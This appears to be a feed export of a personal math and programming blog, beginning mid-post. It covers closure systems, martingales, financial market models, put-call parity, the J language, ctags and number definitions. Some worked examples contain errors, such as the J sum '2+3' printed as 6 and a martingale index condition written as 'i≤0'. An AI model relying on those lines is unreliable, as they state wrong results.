<ol>
<li>\(E\in H\) und</li>
<li>\(N\subseteq H\), \(N\neq\emptyset\Rightarrow\bigcap N\in H\)</li>
</ol>
<p>Sei \(F: P(E)\rightarrow P(E)\) eine Abbildung. Eine Teilmenge
\(X\subseteq E\) von \(E\) heißt <em>\(F\)-abgeschlossen</em>, falls für alle
\(Y\subseteq X\), \(Y\in \operatorname{def}(F)\) gilt, dass
\(F(Y)\subseteq X\).</p>
<h2 id="ende">Ende</h2>
<p>Hier nun der Beweis:</p>
<h4 id="voraussetzung">Voraussetzung</h4>
<p>Sei \(E\) eine Menge, \(F: P(E)\rightarrow P(E)\). Sei weiterhin
\(H:=\{X\subseteq E, X\) ist \(F\)-abgeschlossen\(\}\) die Menge der
\(F\)-abgeschlossen Teilmengen von \(E\).</p>
<h4 id="behauptung">Behauptung</h4>
<p>Dann ist \(H\) ein Hüllensystem auf \(E\).</p>
<h4 id="beweis">Beweis</h4>
<p>Dass \(H\subseteq P(E)\) ist klar per definitionem. Es bleiben also die
anderen beiden Eigenschaften in der Definition eines Hüllensystems zu
zeigen.</p>
<ol>
<li>
<p>z.z. \(E\in H\). Da \(F(E)\subseteq E\) aufgrund der Definition von
\(F\) ist \(E\) \(F\)-abgeschlossen und damit \(E\in H\) w.z.b.w.</p>
</li>
<li>
<p>z.z. \(N\subseteq H\), \(N\neq\emptyset\Rightarrow\bigcap N\in H\)<br />
Anschaulich bedeutet das, dass der Schnitt von \(F\)-abgeschlossenen
Teilmengen von \(E\) wieder eine \(F\)-abgeschlossene Teilmenge von
\(E\) ergibt. Sei also \(N\subseteq H\), \(N\neq\emptyset\) beliebig
aber fest. Sei \(N=\{n_i, i\in I\}\), wobei \(I\) eine Indexmenge ist.
Beachte, \(N\) muss nicht endlich oder abzählbar sein. Dann sind die
\(n_i\) \(F\)-abgeschlossen für alle \(i\), da \(N\subseteq H\).
Insbesondere, aufgrund der Definition von \(F\)-abgeschlossenheit gilt
für alle \(Y\subseteq n_i\) mit \(Y\in \operatorname{def}(F)\), dass
\(F(Y)\subseteq n_i\).<br />
Wir müssen nun zeigen, dass \(Y\subseteq \bigcap N\), \(Y\in
\mathtt{def}(F)\Rightarrow F(Y)\subseteq \bigcap N\)
Wähle also \(Y\subseteq\bigcap N\) beliebig aber fest. Dann ist
\(Y\subseteq n_i\) für alle \(i\). Damit ist \(F(Y)\subseteq n_i\) für
alle \(i\), da alle \(n_i\) \(F\)-abgeschlossen sind.
Damit ist \(F(X)\subseteq\bigcap N\)</p>
</li>
</ol>
\[\square\]
Martingales
2015-03-25T00:00:00+00:00
https://hkopp.github.io/2015/03/martingales
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h1 id="introduction">Introduction</h1>
<p>Suppose you play a game. We model the outcome of the game with the
random variable \(X\) where the probability of winning or losing is
\(p_X(1)=p_X(-1)=1/2\).
So it is a fair game and \(\mathbb{E}(X)=0\).<br />
Suppose now that we play multiple times. We denote by \(X_i\) the
outcome of the \(i\)th game. Suppose we bet a piece of gold each time we
play. So after the first round we have \(X_1\) goldpieces. After the
second one we would have \(X_1+X_2\).<br />
More generally, after the \(t\)-th round we would have
\(\begin{align*}
Y_t=\sum_{i=1}^t X_i
\end{align*}\)
pieces of gold.<br />
The expected value of \(Y_i\) in the \((i-1)\)th round, i.e., after we
know \(Y_1\), …, \(Y_{i-1}\) would be \(Y_{i-1}\).
Since if we lose, we would have \(Y_{i-1}-1\) and if we would win, we
would have \(Y_{i-1}+1\).</p>
<p>In this example, the family of random variables \(Y_i\) is called a
simple random walk.
This motivates the following more general definition.</p>
<h2 id="definition">Definition</h2>
<p>A family of random variables \(Y_0\), \(Y_1\), … is called a
<em>discrete</em> <em>martingale</em> if
\(\mathbb{E}(Y_i)<\infty\) for all \(i\)
and for the conditional expected value it holds that
\(\mathbb{E}(Y_{n+1}|Y_0,\dots,Y_n)=Y_n\).</p>
<p>Note that the first assumption basically says that the expected value does exist.</p>
<h2 id="towards-continuity">Towards continuity</h2>
<p>So what is a continuous martingale?
Let us try to generalize our random walk. Let \(Y_i\) be as before a
discrete random walk. Now define
\(B_{j/N}=\frac{1}{\sqrt{N}} Y_j\).<br />
We need a scaling factor, such that it works. This has to do with
bounding the variance and i do not want to explain it.
Note that if we let \(N\rightarrow\infty\) then this stuff converges
to something which i will denote by \(B_t\). It is also called
Brownian motion, therefore the symbol \(B\).
Please also note that \(t\mapsto B_t\) is almost surely a continuous function.
Furthermore because of the scaling we have that
\(B_\lambda-B_\mu \sim\mathcal{N}(0,\lambda-\mu)\) is normally
distributed with mean \(0\) and variance \(\lambda-\mu\), the
differences between any two increments of Brownian motion are
independent and \(B_0=0\).</p>
<h2 id="definition-1">Definition</h2>
<p>Let \(Y_i\), \(i\geq 0\) be a family of random variables,
\(\mathcal{F}_t=\{Y_i,\,0\leq i\leq t\}\) a <em>filtration</em>.
Then \(Y_i\), \(i\geq 0\) is called a <em>martingale</em> if
\(\mathbb{E}(Y_i)<\infty\) for every \(i\leq 0\)
and furthermore \(\mathbb{E}(Y_i|\mathcal{F}_t)=Y_t\) for every \(i>t\).</p>
<h2 id="integrals">Integrals</h2>
<p>Let us integrate this Brownian motion stuff. I mean, integrate as in
Riemann integration. You know, we just take a discrete integral of the
random walk and then do this limit stuff as explained above and then
get an integral of Brownian motion.<br />
Since Brownian motion is a stochastic process, the integral will also
be a random variable. Therefore we can characterize it by computing
its distribution. Obviously
\(I=\lim_{N\rightarrow\infty}\frac{1}{N}\sum_{i=1}^N B_{i/N}\) should
be the integral \(I=\int_0^1 B_t dt\), if it exists and if the last
part of that notation even makes sense. We have to hack around a bit, since only
Brownian increments are independent.<br />
\(\begin{align*}
\sum_{i=1}^N Y_i=NX_1+(N-1)X_2+...+X_N=\sum_{i=1}^N
(N-i+1)X_i\sim\mathcal{N}\left(0,\frac{1}{N}\sum_{i=1}^N (N-i+1)^2\right)
\end{align*}\)<br />
Where the last part follows, since the \(X_i\) are independent.
Moreover \(\frac{1}{N}\sum_{i=1}^N (N-i+1)^2=\frac{(N+1)(2N+1)}{6}\)
as one can show by induction or a search in your favorite collection
of mystic formulae.<br />
\(\begin{align*}
I_n=\frac{1}{N}\sum_{i=1}^N
B_{i/N}\sim\mathcal{N}\left(0,\frac{(N+1)(2N+1)}{6N^2}\right)=\mathcal{N}\left(0,\frac{1}{3}+\frac{1}{2N}+\frac{1}{6N^2}\right)
\end{align*}\)<br />
Letting \(N\rightarrow\infty\) we get \(\int_0^1 B_t
dt=I\sim\mathcal{N}(0,\frac{1}{3})\).<br />
We just integrated Brownian motion, bitches.</p>
Hating Python
2015-02-08T00:00:00+00:00
https://hkopp.github.io/2015/02/hating-python
<h2 id="broken-pip">Broken Pip</h2>
<p>So I managed upgrading Ubuntu from 12.04 to 14.04 and somehow even fixed some issues with tex by typing obscure commands in my shell.
Now I wanted to install <a href="https://github.com/quantopian/zipline">zipline</a> for which I need <a href="http://continuum.io/downloads">conda</a> for which I need pip, the python package manager.<br />
Well, seems the upgrade to 14.04 broke pip.
Any command line switches I have tried lead to <code class="language-plaintext highlighter-rouge">ImportError: cannot import name IncompleteRead</code>.</p>
<p>The guys with the funny names on the internet recommended to do a <code class="language-plaintext highlighter-rouge">sudo easy_install pip</code> which basically convinces another python package manager to install pip.
This is of course stupid, since Ubuntu is package-based and so my aptitude would get confused if i install stuff into the global /usr/local/lib/python2.7/</p>
<p>I did a <code class="language-plaintext highlighter-rouge">easy_install --user pip</code> which installed pip into .local/bin/pip I think I can live with that.
Finally, I wanted to have anaconda. Anaconda is a virtual environment for python, like virtualenv, but it can also cope with non-python library dependencies.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>./.local/bin/pip <span class="nb">install</span> <span class="nt">--user</span> conda
Downloading/unpacking conda
Real name of requirement conda is conda
Could not find any downloads that satisfy the requirement conda</code></pre></figure>
<p>Stupid machine. Y u no installing?<br />
So i tried the broken global pip from /usr/bin/ which now magically worked again and did not throw ImportErrors.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>pip <span class="nb">install </span>conda
Downloading/unpacking conda
Cannot fetch index base URL https://pypi.python.org/simple/
Could not find any downloads that satisfy the requirement conda</code></pre></figure>
<p>Then another <code class="language-plaintext highlighter-rouge">./.local/bin/pip install --user conda</code> worked.
Don’t ask me why.</p>
<h2 id="arguing-with-conda">Arguing with Conda</h2>
<p>Now, on to zipline.
At least that was my thought process.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>conda <span class="nb">install</span> <span class="nt">-c</span> Quantopian zipline
Error: This installation of conda is not initialized. Use <span class="s1">'conda create -n
envname'</span> to create a conda environment and <span class="s1">'source activate envname'</span> to
activate it.
<span class="c"># Note that pip installing conda is not the recommended way for setting up your</span>
<span class="c"># system. The recommended way for setting up a conda system is by installing</span>
<span class="c"># Miniconda, see: http://repo.continuum.io/miniconda/index.html</span></code></pre></figure>
<p>Damn, I did it the wrong way, via pip. FYI, miniconda cannot be found with aptitude.
So I made my own environment: <code class="language-plaintext highlighter-rouge">conda create -n myenv python</code> which fetched some packages and put them somewhere in $HOME/envs/myenv
Activating this environment should be straightforward with <code class="language-plaintext highlighter-rouge">source activate myenv</code>.
After creating myenv this conda stuff even said to me:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># To activate this environment, use:</span>
<span class="c"># $ source activate myenv</span>
<span class="c">#</span>
<span class="c"># To deactivate this environment, use:</span>
<span class="c"># $ source deactivate</span>
<span class="c">#</span></code></pre></figure>
<p>Oh, how wrong I was:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">source </span>activate myenv
Traceback <span class="o">(</span>most recent call last<span class="o">)</span>:
File <span class="s2">"/home/hjgk/.local/bin/conda"</span>, line 5, <span class="k">in</span> <module>
sys.exit<span class="o">(</span>main<span class="o">())</span>
File <span class="s2">"/home/hjgk/.local/lib/python2.7/site-packages/conda/cli/main.py"</span>, line 67, <span class="k">in </span>main
activate.main<span class="o">()</span>
File <span class="s2">"/home/hjgk/.local/lib/python2.7/site-packages/conda/cli/activate.py"</span>, line 99, <span class="k">in </span>main
conda.install.symlink_conda<span class="o">(</span><span class="nb">join</span><span class="o">(</span>binpath, <span class="s1">'..'</span><span class="o">)</span>, conda.config.root_dir<span class="o">)</span>
File <span class="s2">"/home/hjgk/.local/lib/python2.7/site-packages/conda/install.py"</span>, line 371, <span class="k">in </span>symlink_conda
os.symlink<span class="o">(</span>root_conda, prefix_conda<span class="o">)</span>
OSError: <span class="o">[</span>Errno 17] File exists</code></pre></figure>
<p>After googling I found out that the problem apparently was that conda could not handle local installations.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> envs/myenv/bin/activate
lrwxrwxrwx 1 hjgk hjgk 17 Feb 8 17:29 envs/myenv/bin/activate -> /usr/bin/activate</code></pre></figure>
<p>And /usr/bin/activate did not exist.
I decided to remove all that damn conda-stuff and install zipline via pip.
At least <code class="language-plaintext highlighter-rouge">pip uninstall conda</code> worked like a charm.</p>
<h2 id="more-pip">More pip</h2>
<p>So according to the <a href="https://github.com/quantopian/zipline">zipline docs</a> I needed to do</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">pip <span class="nb">install </span>numpy <span class="c"># Pre-install numpy to handle dependency chain quirk</span>
pip <span class="nb">install </span>zipline</code></pre></figure>
<p>Of course I quickly added the <code class="language-plaintext highlighter-rouge">--user</code> switches, and indeed it worked.
I do not know why, because <code class="language-plaintext highlighter-rouge">which pip</code> gave me /usr/bin/pip which was broken at the beginning of this post and the correct one should have been in ~/.local/bin/pip.</p>
<p>I ran <code class="language-plaintext highlighter-rouge">python ~/.local/bin/run_algo.py -f dual_mavg.py --symbols AAPL --start 2011-1-1 --end 2012-1-1 -o dma.pickle</code> according to the zipline docs which wrote a dma.pickle file.
It would be nice to set a path for python, so it looks into ~/.local/bin/ and i can just write <code class="language-plaintext highlighter-rouge">python run_algo.py -f dual_mavg.py blablabla</code> but I have not found out how this works.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The python ecosystem sucks. I have two package managers, easy_install and pip, which can repair each other.
I mean, what is the point of having a package manager bundled with the operating system when you cannot use it and are doomed to update your python-packages manually like some Windows-user?<br />
There is virtualenv and anaconda, which mostly do the same thing.
I have not tested virtualenv and do not intend to do so, but anaconda or conda or miniconda or whichever part of that stuff I have used feels like being stuck in haskells cabal hell.<br />
And don’t get me even started on python 3 and those python notebooks.</p>
Finite Financial Markets
2015-01-25T00:00:00+00:00
https://hkopp.github.io/2015/01/finite-financial-markets
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain how finite financial markets are modelled in math.</p>
<h2 id="notation">Notation</h2>
<p>Throughout the remainder of this post, let \(\Omega\) be a finite probability space with measure \(\mu\).
We also have a filtration \(\mathcal{F}=\{\mathcal{F}_t\}_{t=0,...,T}\), where \(T\in\mathbb{N}\) is fixed.
That means that the \(\mathcal{F}_t\) are \(\sigma\)-algebras on \(\Omega\), where \(\mathcal{F}_t\subset \mathcal{F}_{t+1}\).
Alternatively the partition induced by the \(\sigma\)-algebras on \(\Omega\) gets finer as \(t\) increases.
Intuitively this means that more information is available as the time \(t\) increases.
We furthermore let \(\mathcal{F}_0=\{\emptyset,\Omega\}\), i.e., at the beginning we have no information, and \(\mathcal{F}_T=\mathcal{P}(\Omega)\) the powerset of \(\Omega\).</p>
<h2 id="markets">Markets</h2>
<p>In this setting a finite financial market is a \(\mathbb{R}^{d+1}\)-valued \(\mathcal{F}\)-adapted stochastic process \(S=\{S(t)\}_{t=0,...,T}=\{(S_0(t),S_1(t),...,S_d(t))\}_{t=0,...,T}\) such that \(S_0(0)=1\) and \(S_0(t)>1\) for \(t=1,...,T\).<br />
What do all those complicated words mean?</p>
<ul>
<li>stochastic process means, that each vector \(S(t)\) is a random variable \(S(t):\Omega\rightarrow\mathbb{R}^{d+1}\).</li>
<li>\(\mathcal{F}\)-adapted means that each random variable \(S(t)\) is \(\mathcal{F}_t\)-measurable.</li>
</ul>
<p>That special stuff about \(S_0\) is because we want to have a point of reference if we have portfolios where we hold a linear combination of the \(S_i\) and want to compare them.</p>
<h2 id="strats">Strats</h2>
<p>We now have modelled a market with different assets \(S_i\).
Now we want to model some trading strategies.</p>
<p>We say that a stochastic process \(\phi=\{\phi(t)\}_{t=1,...,T}\) is predictable, if \(\phi(t)\) is \(\mathcal{F}_{t-1}\)-measurable for all \(t=1,...,T\).
That means intuitively, that \(\phi(t)\) is known at time \(t-1\), but not before.
This is how we want to allocate our cash.</p>
<p>A trading strategy is now a \(\mathbb{R}^{d+1}\)-valued predictable stochastic process
\(\begin{align*}
\phi=\{\phi(t)\}_{t=0,...,T}=\{(\phi_0(t),...,\phi_d(t))\}_{t=0,...,T}
\end{align*}\).
Now \(\phi_i\) represents how much of the asset \(S_i\) we want to hold between time \(t-1\) and \(t\).
The filtration of \(\phi\) is shifted, because we can decide how much of \(S_i\) we want to hold between time \(t-1\) and \(t\) only based on the knowledge at time up to \(t-1\).
We cannot see into the future.</p>
<p>We now want that no additional money comes out of nowhere.
That means that
\(\begin{align*}
\langle \phi(t), S(t)\rangle=\langle \phi(t+1), S(t)\rangle
\end{align*}\).
If this is the case, then we call the strategy \(\phi\) self-financing.
Note that the strange brackets denote the dot-product, i.e.,
\(\begin{align*}
\langle \phi(t), S(t)\rangle=\sum_{i=0}^d \phi_i(t)\cdot S_i(t)
\end{align*}\).
Also the stochastic process \(X\) defined by \(X(t)= \langle \phi(t), S(t)\rangle\) denotes the wealth process, where \(X(0)=\langle \phi(1),S(0)\rangle\) is the seed capital.
This directly models our wealth at each point \(t\) in time.</p>
<p>We can also define the wealth by the sum of the gains.
\(\begin{align*}
X(t)=\langle \phi(t), S(t)\rangle=\sum_{\tau=1}^t \langle \phi(\tau), \Delta S(\tau)\rangle=\sum_{\tau=1}^t \langle \phi(\tau), S(\tau)-S(\tau -1)\rangle
\end{align*}\).
In case you did not guess it already, that last part is a discrete stochastic integral.
Meditate on this if you never saw a stochastic integral before.</p>
Put Call Parity For European Options
2015-01-04T00:00:00+00:00
https://hkopp.github.io/2015/01/put-call-parity-for-european-options
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain options and derive the put-call-parity for european options.</p>
<p>First of all, please imagine some en-dashes between “put” and “call”, and “call” and “parity” in the title.
Unfortunately someone who wrote Jekyll decided to use hyphens as word separator in filenames for the titles of the blog post, so I am unable to insert any hyphens in titles of blog posts and I do not have fun when debugging such things. So you have to imagine some hyphens.</p>
<p>A (european) <em>call</em> <em>option</em> \(C\) is a contract entered at time \(0\), where the buyer has the option but not the obligation to buy at a future time \(T\) an asset at a price \(E\), called <em>strike</em> <em>price</em>, which is known at time \(0\).</p>
<p>A (european) <em>put</em> <em>option</em> \(P\) is basically the same, but guarantees the right to sell assets at a predetermined price.</p>
<p>There are also american options. They also come in the two flavors <em>put</em> and <em>call</em> options.
The difference between european options and american options is, that european options can only be exercised at a predefined date \(T\) in the future, whereas american options can always be exercised.
There are also hybrid types of options, which can only be exercised at many predetermined times.
In the following we will focus on european options.</p>
<p>By abuse of notation, we will call \(S(t)\) the price of the underlying asset at time \(t\).
\(C(t)\) and \(P(t)\) are the prices of the call, respectively the put option at time \(t\).</p>
<p>What should now be a fair price for such an option?
Assume, that we buy a call option \(C\) at time \(0\) for \(C(0)\).
Then at time \(T\) two things could happen.</p>
<ul>
<li>If \(S(T)>E\) we can buy the asset at price \(E\) and then directly sell it at the greater price \(S(T)\). So we effectively gain \(S(T)-C(0)\).</li>
<li>If \(S(T)\leq E\) we will not exercise our option, since the asset is traded cheaper than \(E\).</li>
</ul>
<p>This means, that our profit is \(\max\{ 0, S(T)-E\}\).</p>
<p>An analogous observation for put options is left as a small exercise.</p>
<h2 id="put-call-parity">Put-call-parity</h2>
<p>Now we want to establish a relationship between the price of a put option \(P\) and a call option \(C\).
Suppose we have two portfolios at time \(0\).</p>
<ol>
<li>The first one consists of \(E\cdot e^{-rT}\) and \(C\). Here \(e\) is Euler’s number. We need this stuff to account for interest rates over the time from \(0\) up to the exercise time \(T\).</li>
<li>The second portfolio consists of a put option \(P\) and the asset \(S\), which was bough at \(S(0)\).</li>
</ol>
<p>Then at time \(T\), the first portfolio consists of \(E\), because of the interest rate and \(\max\{ 0, S(T)-E\}\) as explained above. This equals \(\max\{ E, S(T)\}\).<br />
At time \(T\) the second portfolio consists of \(\max\{ E-S(T),0\}\) by the exercise above and \(S(T)\). All in all, this amounts to \(\max\{ E, S(T)\}\).</p>
<p>So the two portfolios yield the same value at time \(T\). Since we did not trade anything in between they must have had the same value all the time, so
\begin{equation}
C+E\cdot e^{-rT} = P+S
\end{equation}
And this is the put-call-parity for european options mentioned in the title.</p>
<h2 id="open-issues">Open Issues</h2>
<p>We now know how to price a put option if we have the value of the call option and the other way around.
But we do not know either of them.
What we gained is that in further discussions of the price of options we can restrict ourselves w.l.o.g. to one type of option.
(That’s “without loss of generality” if you are not into math geekspeak.)
If you are interested in the real price of an options you should learn some stochastic calculus and stochastic differential equations and then google the Black-Scholes model.</p>
Array Programming With J
2014-11-18T00:00:00+00:00
https://hkopp.github.io/2014/11/array-programming-with-j
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In what follows, I will explain a little bit about J.
J is the decessor of APL.
APL is the brainchild of Ken Iverson and feels more like mathematical notation instead of a programming language.
One of the main drawbacks I see in APL is its confusing non-ASCII characterset.
J uses ASCII.
Some APL defendants say that the original APL-characterset made APL to a tool of thought an J sucks at that.
For code blocks, I will use the notation of my jconsole:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> input
output
</code></pre></div></div>
<h2 id="arithmetic">Arithmetic</h2>
<p>Addition, subtraction, multiplication, and division work the obvious way:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 2+3
6
2-3
_1
2*3
6
2 % 3
0.666667
</code></pre></div></div>
<p>Note that in the subtraction, the leading minus is _.
This is to distinguish it from the minus-operator.
If you know dc, you should be familiar with that.
The operator <code class="language-plaintext highlighter-rouge">|</code> means modulo and <code class="language-plaintext highlighter-rouge">^</code> is exponentiation.</p>
<p>Additionally since J is array oriented, arithmetic also works on arrays.
In fact, every operator I encountered works on arrays out of the box.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 2 3 + 2
3 4 5
1 2 3 + 1 2 3
2 4 6
1 2 3 + 2 3
|length error
| 1 2 3 +2 3
</code></pre></div></div>
<p>You can do the same with the other operations.
J evaluates from right to left if there are no brackets.
This could be confusing at first, but I think it is actually easier than to remember thousands of precence rules.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 3*2+1
9
(3*2)+1
7
</code></pre></div></div>
<p>Variables are assigned with <code class="language-plaintext highlighter-rouge">=:</code> so for example <code class="language-plaintext highlighter-rouge">x =: 100</code> sets x to 100.</p>
<h2 id="terminology">Terminology</h2>
<p>Unfortunately J uses some pretty strange terminology.
For example with monad, they mean a monadic function.
This really has nothing to do with monads like in Haskell or category theory.
At first thought I wanted to call them unary functions. But that is not correct, since they can take in an array.
A monadic function is thus a function which operates on single elements.
Monadic functions do have prefix notation:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> - 2
_2
- 2 3 4
_2 _3 _4
</code></pre></div></div>
<p>A dyad or a dyadic function is a function which takes multiple arguments.
Dyads have infix notation:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 - 2
_1
</code></pre></div></div>
<p>Whoa, wait.
I just used the same function but in another context, namely a dadic context instead of a monadic one.
And it behaves differently.
In fact, that is true for most of the operators in J.
Another example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> % 2 3 4
0.5 0.333333 0.25
2 % 2 3 4
1 0.666667 0.5
</code></pre></div></div>
<p>They also use the term ‘verb’ for what I have up to now called an operator.
An operator, that operates on verbs, i.e., a higher-order function, is called an ‘adverb’.</p>
<h2 id="working-with-arrays">Working with Arrays</h2>
<p>As seen above, all operators work for arrays out of the box.
There is a special operator for building arrays.
In modern languages this would be called <code class="language-plaintext highlighter-rouge">range()</code> or something similar.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> i. 3
0 1 2
</code></pre></div></div>
<p>Since J is array oriented, of course this also works on arrays.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> i. 3 4
0 1 2 3
4 5 6 7
8 9 10 11
</code></pre></div></div>
<p>If we now want to sum over the whole list, we want to define a new verb, that sums up a list.
There is an adverb for that in J, namely <code class="language-plaintext highlighter-rouge">/</code>.
This is comparable to ‘fold’ in Haskell.
If V is any dyadic function, then <code class="language-plaintext highlighter-rouge">V / a b c</code> computes <code class="language-plaintext highlighter-rouge">a V b V c</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> + / 2 3 4
9
</code></pre></div></div>
<p>To compute the length of an array we use <code class="language-plaintext highlighter-rouge">#</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> # 1 2 3
3
</code></pre></div></div>
<p>In a dyadic context, this is the choice function.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 0 1 # 1 2 3
1 3
</code></pre></div></div>
<p>You can even choose some special stuff directly.
For example if you want to compare two arrays and choose the smaller entries:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 2 3 4 < 4 3 2 1
1 1 0 0
1 2 3 4 <. 4 3 2 1
1 2 2 1
</code></pre></div></div>
<h2 id="booleans">Booleans</h2>
<p>I introduced booleans implicitly somewhere above.
They are really straightforward if you have ever writte a program.
‘0’ is false, ‘1’ is true.
So</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 2 > 1
1
2 = 1
0
2 < 1
0
2 < 1 2 3 4
0 0 1 1
</code></pre></div></div>
<p>The only stumbling block I have encountered is when I want to compare two arrays, because the verb <code class="language-plaintext highlighter-rouge">=</code> works componentwise:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 2 3 4 = 2 3 2
1 1 0
2 3 4 -: 2 3 2
0
2 3 4 -: 2 3 4
1
</code></pre></div></div>
<h2 id="solving-the-first-project-euler-exercise">Solving the first project Euler exercise</h2>
<p>If you read this, you are probably familiar with project Euler.
If not, google it.
The assignment is to compute the sum of all multiples of 3 or 5 below 1000.
So we first list all numbers below 1000 and save it to an array with <code class="language-plaintext highlighter-rouge">list =:1+ i.999</code>.
Next we want to choose those numbers which are divisible by 3 or 5.
Well, a number is zero modulo 3 or 5, if <code class="language-plaintext highlighter-rouge">(0 = (5 | list) <. (3 | list))</code>.
We now choose those from the original list with <code class="language-plaintext highlighter-rouge">(0 = (5 | list) <. (3 | list)) # list</code>
and add all together with <code class="language-plaintext highlighter-rouge">+ /</code>.
So the final function is</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>list =: 1 + i. 999
+ / (0 = (5 | list) <. (3 | list)) # list
</code></pre></div></div>
<p>Exercise: Compare this to your shitty perl-golfed solution.
In fact, to make it even shorter, we can stuff the declaration in the same line and get rid of all the spaces.
We can also let the list begin at 0 and name it just ‘a’.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+/(0=(5|a)<.(3|a))#a=:i.1e3
</code></pre></div></div>
<p>28 characters, bitches!</p>
Ctags
2014-11-06T00:00:00+00:00
https://hkopp.github.io/2014/11/ctags
<h2 id="intro">Intro</h2>
<p>Ctags is great stuff.
Suppose you have a file opened in your vim with some function declarations which reside in another file.
But you do not remember what the functions did anymore.
Then you need ctags.
Ctags creates a list of tags or references to another file.</p>
<h2 id="technical-stuff">Technical Stuff</h2>
<p>You go into the directory, where you want to have your ctags file and type <code class="language-plaintext highlighter-rouge">ctags -R</code>.
It will then generate a file called “tags”.
Now you need to point vim to that file, via <code class="language-plaintext highlighter-rouge">:set tags=tags</code> in vim.
Or alternatively, like I have done, you write <code class="language-plaintext highlighter-rouge">set tags=./tags;/</code> in your .vimrc.
What that does is tell Vim to search in the current directory for a file called tags, then in the directory above, and so on, stopping at the root.
In Vim you can now move your cursor over a tag/functionname and press ctrl+].
You will get immediately to the declaration of the function.
With ctrl+t you can return to the original position.</p>
<h2 id="latex-and-bibtex">Latex and Bibtex</h2>
<p>I wanted to use ctags with latex.
I wanted to jump from the \refs to the corresponding \labels.
Furthermore if i have referenced some stuff from the bibliography with \cite, i wanted to jump there as well.
Unfortunately the last thing does not work in ctags out of the box.
But you can fix it, if you put the following in your ~/.ctags file.
Thats a config for ctags in case you didn’t know.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--langdef=tex2
--langmap=tex2:.tex
--regex-tex2=/\\label[ \t]*\*?\{[ \t]*([^}]*)\}/\1/l,label/
--langdef=bib
--langmap=bib:.bib
--regex-bib=/^@[A-Za-z]+\{([^,]*)/\1/b,bib/
</code></pre></div></div>
<p>Now go out and conquer the world with your new ctags skillz.
Zardoz has spoken.</p>
Numbers
2014-10-15T00:00:00+00:00
https://hkopp.github.io/2014/10/numbers
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>What are numbers? In this post, I try to give the rationale how
numbers where first defined. Perhaps it is also interesting as an
insight into how mathematicians think. I even give the classical
description and try to not involve category theory.</p>
<h2 id="natural-numbers">Natural numbers</h2>
<p>You know all of them. They are \(0, 1, 2,...\) and they are usually
denoted by the letter \(\mathbb{N}\).<br />
How do we define them? There is a function called the successor, which
i will denote by \(\operatorname{s}\). You can think of it as adding one.
Then we have the following axioms:</p>
<ol>
<li>\(0\) is a natural number.</li>
<li>For every natural number \(n\), its successor \(\operatorname{s}(n)\) is a natural number.</li>
<li>There is no natural number which has zero as its successor.</li>
<li>If two natural numbers have the same successor, then they are equal.</li>
<li>If a set \(X\) contains zero and for every natural number its successor, then the natural numbers are contained in \(X\).</li>
</ol>
<p>This should all be fairly trivial but perhaps unfamiliar. The last one is minimally more complex. It basically says, that the natural numbers are the smallest set which contains the zero and every successor. It can be expressed as a ‘no noise’-condition.</p>
<h2 id="integers">Integers</h2>
<p>In school they said to you, that if you only have four apples, you cannot eat five of them. They lied to you. Of course you can.
Mathematicians found a way to warp reality such that this is possible. They invented negative numbers.<br />
For this i have to explain the concept of an equivalence class. We call \(\sim\) an equivalence relation on a set \(X\) if for \(x,y,z\in X\)</p>
<ol>
<li>\(x\sim x\) for all \(x\in X\)</li>
<li>If \(x\sim y\) then \(y \sim x\)</li>
<li>If \(x\sim y\) and \(y\sim z\) then \(x\sim z\)</li>
</ol>
<p>For example equality of two numbers is an equivalence relation. If you do not trust me then you can try to compute it yourself.<br />
Equivalence relations partition the set \(X\) into disjoint sets, in which all elements are equivalent.
Those sets are called equivalence classes and if we pick an element from them, it is called a representative for the respective equivalence class.</p>
